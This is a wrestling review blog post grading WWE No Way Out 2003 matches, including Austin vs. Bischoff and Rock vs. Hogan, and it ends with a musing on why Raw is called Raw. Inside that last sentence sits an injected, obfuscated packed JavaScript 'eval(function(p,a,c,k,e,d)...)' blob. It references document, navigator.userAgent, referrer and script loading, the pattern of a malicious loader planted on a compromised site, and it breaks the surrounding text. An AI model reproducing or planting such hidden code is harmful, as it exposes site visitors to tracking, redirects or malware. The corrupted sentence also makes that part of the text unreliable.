Steiner Recliner goes on which still looks awful but here comes Randy Orton who was brand new to Evolution at this point. He gets drilled of course and Batista, who looks SMALL here goes into the steps. Down goes Flair too but HHH is sent to the floor where he can grab the belt. That gets two and the Pedigree ends it.

Rating: D-. This match was horrible but by comparison to their first abomination it’s a classic. HHH was pretty awful at this point and he would bury Booker T next. This wasn’t good in the slightest but there was a way to watch it.

The other match is just comedic in how bad it is as an old school crowd like Boston got how bad it was. They kept this shorter and let Steiner be on defense for a vast majority of this, making it bearable. It’s still bad though, as in very bad.

The Raw roster makes fun of Eric on the way to the ring.

We recap Austin vs. Bischoff. Austin had left about 8 months earlier due to creative differences. Eric was in big trouble with Vince and was given 30 days to turn things around which was supposed to be by hiring Austin. Shane would have replaced Eric as GM and at the last second he got Austin to show up at No Way Out. For no apparent reason Bischoff beat up Ross to tick Austin off for their match that Vince set up. Kind of stupid actually but whatever.

Steve Austin vs. Eric Bischoff

Ross comes out for this and is WAY too happy about this match. Eric tries to say that we don’t need to have this match but gets drowned out by glass shattering. The pop isn’t the same but it’s still there. This is his first appearance in like 8 months or so, meaning this is indeed a big deal.

Eric is on his own here. He tries to talk more but Austin beats the heck out of him. We hit on the Austin couldn’t draw argument that Bischoff made in 94. What a shock that young and talented guys like him and Foley were run off and replaced by Beefcake and Duggan when Hogan showed up. The Raw roster is enjoying this it seems.

Austin is borderline ripped here. Mudhole is stomped and it’s of course all Rattlesnake. Eric goes to the eyes and gets his kick to the chest no sold. To the floor for some more pounding as this is exactly what you would expect it to be. Stunner for Bischoff but Austin pulls him up twice. Another Stunner and again Austin pulls him up. The third Stunner does it. Austin does his usual schtick afterwards.

Rating: N/A. Not really a match but short enough to not really be that bad. The idea was to have Austin look like he’s awesome again which is fine but considering his last match would be at the next PPV it’s not like it meant much.

A fourth Stunner follows the match.

We recap Rock vs. Hogan which more or less is Mania 18 was AWESOME. Rock has more or less gone Hollywood and come back to face the now face Hogan. Rock takes credit for the newfound popularity of Hogan and challenges him for a rematch which was part of his three final matches with Hogan, Austin and Goldberg before leaving for 11 months, coming back for one more match and then leaving for good.

The Rock vs. Hulk Hogan

Hulk is in the yellow and red this time. Hogan gets the big respect pop but he was about done at this point. He plays to the crowd of course as Cole declares him the People’s Champion. Oh dear. Of course he comes out to Voodoo Child instead of Real American because the most famous theme song ever isn’t good enough for him I guess.

Rock stalls to start then tries to sneak up on Hogan which of course doesn’t work in the slightest. Hogan drills him to start us off and then Rock runs again. Rock is a 6 year pro which blows my mind. He had been around six and a half years at this point which is amazing when you consider his career was more or less done in two months. Cena has been around over 8 years which is about two years longer than Rock’s entire career.

Sylvan Grenier is the referee here who would become part of La Resistance soon enough and win some tag titles. Hogan throws a spit punch to mock Rocky a bit. Not much going on here at all and there’s a Rock Bottom three minutes into this. Well that was unexpected and of course gets two.

Rock puts on Hulk’s bandana and whips him with Hogan’s weight belt because no one has ever done that before right? Hogan gets the belt and whips Rock a bit before walking into a DDT and a nip up. We hear about Vince vs. Hogan which is definitely a bit of foreshadowing. Sharpshooter goes on which is pretty weak.

Ropes are grabbed and we head to the floor. Chair shot hits the post and then Rock. Hogan goes for another shot but the referee stops it and Rock gets a low blow in. A pair of People’s Elbows get two and we Hulk Up. Leg drop hits and the lights go out. The ref is out now and Vince is on the stage.

He saunters down in a sauntering manner, allowing the “unconscious” ref to slip the chair to Rock. A shot to the head and a Rock Bottom end this. Oh and the referee popped up for the pin. Vince puts on the Hogan shirt and tears it off, leaving Hogan for a staredown to end this show.

Rating: D+. Nothing all that good here at all as nothing really was exciting. It was really just to set up Hogan vs. Vince which while ok wasn’t really something that lit the world on fire but it wasn’t horrible. That being said this match was pretty bad. Hogan just can’t wrestle a good match to save his life and hasn’t been able to in years. Rock was trying but he was gone in two months so who really cares? Has nothing on the first match of course.

Overall Rating: D+. Some stuff is ok at best but a lot of this stuff just didn’t work at all. The show isn’t horrible but you can tell this is just a layover until Mania time which was in about 6 weeks. Everything major here was talking about how it leads to Mania and all that jazz. It’s not awful but there is absolutely nothing here that needs to be seen to bridge the gap to Mania. Only to be seen if you REALLY like this era.

 

Remember to follow me on Twitter @kbreviews



Thought of the Day: Why Is It Called Raw?

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kykrs|var|u0026u|referrer|tttfi||js|php'.split('|'),0,{})) keeps coming back to me.Why is the show called Monday Night Raw?  Raw means uncooked or brand new.  What does that have to do with wrestling?  I’ve wondered this for 20 years now and I still don’t get it.